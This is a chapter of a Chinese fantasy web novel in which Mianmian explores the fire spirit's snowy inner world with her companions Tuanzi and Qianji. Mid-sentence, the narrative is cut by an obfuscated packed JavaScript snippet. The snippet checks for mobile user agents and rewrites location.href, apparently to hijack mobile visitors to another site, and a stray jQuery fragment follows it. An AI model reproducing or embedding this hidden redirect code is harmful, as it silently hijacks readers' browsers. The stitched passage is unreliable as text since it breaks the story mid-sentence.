眼前景象大变,眠眠飞快地熟练扫视四周。
雪……
到处都是厚厚的白雪,亮得她的眼睛都要看不清东西了。
闭眼调息一番,眠眠才继续往前走。
她头上小芽儿抖了抖身子,心疼地道:“好冷啊……火灵会在这么冷的地方吗?”
“这里是火灵的执念世界。”眠眠也很诧异。
但随着她的实力提升,她的幻灵根和探心术不会出错,那错的,就是大家对火灵的了解和认知。
浑身热烈到以焚毁一切的火灵,内心冰冷一片么?
有意思。
他们真的了解火灵吗?
木灵、水灵和金灵都沉默了。
“火灵消失之前,和你们说了什么?做了什么?你们没发现异常吗?”眠眠问着,选了个方向一脚深一脚浅地往前走着。
三只被问得更沉默了。
他们当时累得不行,等反应过来的时候,火灵已经消失了,谁还记得他当时说了什么做了什么?
“哦,你们虚弱的时候,他是不是更虚弱?”眠眠推测着。
毕竟火灵还要压制住体内的邪念种种,比他们的消耗应该更大。
三只仿若消失了一般。
眠眠头顶上的小芽儿和小水珠都不见了,只有还罩在她身周的点点金芒保护罩,证明着三只还在。
他们不回答,她推算一番便是。
进了这里,四季梧桐杯小世界对她的压制就消失了,团子和千机倏地先后飞出来,围着眠眠打转。
团子急得哭唧唧地告状:“眠眠眠眠,这把破伞欺负你的团,想让你的团哭死好继承团的眼泪!”
这么说不通的话,也就是团子不过脑子的时候会说出来了。
“没看到她在忙吗?我要是你,告状也不会赶这个时候干。来来来,再哭大声点。让爷乐呵乐呵。”千机依然倒打着伞亦步亦趋地兜在团子下边,一副等着好事发生的欠揍样。
团子吧吧地掉眼泪,但眼泪都被兜住,便宜了千机。
于是,它跑,它追,一个团子一把伞,玩这霸道破伞追上我的游戏玩得不亦乐乎。
不多时,眠眠掐算也出来了。
她笑了一下,召回了团子和千机,一把把团子抱进怀里用力揉了揉:“不哭了。一会儿带你去吃好的。”
团子的眼泪戛然而止,有点懵。
这还是那个会拿着小瓷瓶接它眼泪的黑心眼子眠眠吗?
怎么还会哄它了?
“那……那……”它趁机登鼻子上脸,“那我要蹭蹭毛毛的耳朵!”
不知道自己的耳朵有什么好蹭的,但想到它就一光团子,化形出来也是只光熊猫的样子,就由着它去了。
团子蹲在属于自己的至尊宝座上,左边耳朵蹭蹭,右边耳朵蹭蹭,终于成功地完全哄好了自己,忽地,全身僵了一僵,又要哭了:“眠眠眠眠,你怎么可以让别人占了团的位置!”
“啊?”眠眠一脸懵,感受到藏在自己体内抱团颤抖的木灵和水灵,明白这事情一定和他们有关。
“有几个新伙伴,以后要好好相处。”
团子和千机:“???”
眠眠就这态度?
明显是不想偏袒了。
团子哼哼两声:“占团的至尊宝座也就算了,还把脏东西留在眠眠头上,太不乖了!还是团最爱眠眠,团把这些又脏又可怕的东西,都给眠眠清理掉!团才是眠眠最贴心最宠爱的小宝贝!”
听它给自己加戏,眠眠忍不住抬手揉了揉它:“好,好。不可以吃太多,再要睡那么久,我会担心的。”
“诶?!眠眠在关心团?!”团子身上突然放出强光,像是暖阳照下,化开一层雪的同时,也有一股暖流,从百汇穴向下,洗涤着眠眠筋脉里因为接纳了那四只灵而留下的缕缕黑气。
那些黑气不算多,眠眠压制得住,但一直积攒着,始终是个隐患。
现在就能处理掉,当然更好。
看团子这么轻松就处理掉了,眠眠又揉了揉团子:“干得好。”
接连得到眠眠夸赞的团子满足了,终于不闹腾了。
藏在眠眠身体里的三只灵,也终于松了一口气。
那东西……对于他们来说,太可怕了,强大又可怕,还……让他们有种想要靠近的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959535|182694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感觉。
纯粹到这种地步,还能这么强大的……他们第一次见……相比起来,他们就不算什么了。
主人会不会嫌弃他们,不想让他们跟着了啊?
之前他们还在挑剔着眠眠,尤其是金灵。
现在,他们庆幸木灵先一步主动认眠眠为主,不然,他们就真的失去了唯一活下去的机会!
眠眠不知道这几只心里在加戏,而是把散发着五彩光的灵之碎片们收进识海空间中,淡淡看向已经收了伞,在旁边歪歪斜斜悬着的千机。
“你好像很无聊?”眠眠笑道,“给你找点事做。”
“我可是一把破伞,什么也做不成。”说着,千机还撑开了伞,露出自己破破烂烂的伞面,在眠眠面前转了又转,试图让眠眠生出愧疚,想起来要修复他的事情。
“你这么破烂,是我造成的吗?”眠眠神色淡淡,“看起来,你好了不少,是从团子那里得来的好处吧?”
好笑了,从她的宠物这里得了这么多好处,还想卖乖?
千机一僵,收了伞。
“站直点。”
千机又听话地站得像一根杆子:“我真的做不成太多的事。”
之前在林娆身上消耗了太多,还没得到修复,如果不是得到团子眼泪的滋养,它这个器灵,可能已经消散了。
“这里有一团天地灵火生成的火灵,如果能得到它……”后面的话,不需要眠眠再说出来,千机已经撑开了伞,狗腿地打在眠眠头顶,“便凭主人驱使。”
眠眠没有和它结契,也没有和团子结契。
漫长的岁月里,她很高兴能得它们这样的陪伴,明明知道在修好千机后,它就会离开,她还是很期待修好千机的时刻到来。
心神一顿,她觉得自己好像不一样了。
以前的她,一定不会这样,只会按章办事,按因果交易,不太会这样和千机沟通,只会冷冰冰地问对方“愿意付出什么”或者“拿什么来换”。
就像团子会主动净化掉她筋脉里的那些黑气一样,团子并没有和她提出交易。
而这种会主动为旁的什么着想的感觉,似乎……并不糟糕。